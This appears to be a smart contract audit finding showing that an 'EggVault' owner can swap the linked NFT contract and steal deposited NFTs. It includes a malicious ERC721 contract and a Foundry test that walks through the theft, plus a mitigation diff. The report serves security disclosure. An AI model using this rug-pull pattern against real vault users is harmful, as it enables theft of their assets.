Description: The vault owner has the ability to change the linked NFT contract at any time.
After users deposit their NFTs, the owner could potentially switch the contract to a malicious one.
When users attempt to withdraw, if vault owner do a Front running to change the eggNFT address, users would receive fake eggNFTs from the malicious contract,
allowing the vault owner to keep the genuine NFTs for themselves.
function setEggNFT(address _eggNFTAddress) external onlyOwner {
require(_eggNFTAddress != address(0), "Invalid NFT address");
eggNFT = EggstravaganzaNFT(_eggNFTAddress);
}
Impact: This could lead to potential loss of user funds if the vault owner acts maliciously.
Proof of Concept: add the following malicious NFT contract and test case to simulate the scenario.
pragma solidity ^0.8.23;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
contract MaliciousNFT is ERC721, Ownable {
constructor() ERC721("MaliciousNFT", "MNFT") Ownable(msg.sender) {}
function mint(address to, uint256 tokenId) external onlyOwner {
_mint(to, tokenId);
}
function adminTransferToken(
address to,
uint256 tokenId
) external onlyOwner {
_update(to, tokenId, address(0));
}
}
then add the test and run it
...
address nftOwner = makeAddr("nftOwner");
address vaultOwner = makeAddr("vaultOwner");
address gameOwner = makeAddr("gameOwner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 constant GAME_DURATION = 100;
function setUp() public {
vm.prank(nftOwner);
nft = new EggstravaganzaNFT(NAME, SYMBOL);
vm.startPrank(vaultOwner);
vault = new EggVault();
vault.setEggNFT(address(nft));
vm.stopPrank();
vm.startPrank(gameOwner);
game = new EggHuntGame(address(nft), address(vault));
vm.stopPrank();
vm.prank(nftOwner);
nft.setGameContract(address(game));
}
modifier mintEggs(address user) {
vm.startPrank(gameOwner);
game.startGame(GAME_DURATION);
game.setEggFindThreshold(100);
vm.stopPrank();
vm.startPrank(user);
game.searchForEgg();
game.searchForEgg();
game.searchForEgg();
vm.stopPrank();
_;
}
...
function testVaultOwnerStealEgg() public mintEggs(alice) {
vm.prank(vaultOwner);
MaliciousNFT maliciousNFT = new MaliciousNFT();
uint256 depositEggId = 1;
vm.startPrank(alice);
nft.approve(address(game), depositEggId);
game.depositEggToVault(depositEggId);
vm.stopPrank();
vm.startPrank(vaultOwner);
vault.setEggNFT(address(maliciousNFT));
maliciousNFT.mint(address(vault), depositEggId);
vm.stopPrank();
vm.prank(alice);
vault.withdrawEgg(depositEggId);
vm.startPrank(vaultOwner);
maliciousNFT.adminTransferToken(address(vault), depositEggId);
vault.depositEgg(depositEggId, vaultOwner);
vault.setEggNFT(address(nft));
vault.withdrawEgg(depositEggId);
vm.stopPrank();
assert(nft.ownerOf(depositEggId) == vaultOwner);
}
Recommended Mitigation:
set EggNFT address in EggVault::constructor, once set it should not be changed.
+ constructor(address _eggNFTAddress) Ownable(msg.sender){
+ require(_eggNFTAddress != address(0), "Invalid NFT address");
+ eggNFT = EggstravaganzaNFT(_eggNFTAddress);
+ }
...
- function setEggNFT(address _eggNFTAddress) external onlyOwner {
- require(_eggNFTAddress != address(0), "Invalid NFT address");
- eggNFT = EggstravaganzaNFT(_eggNFTAddress);
- }
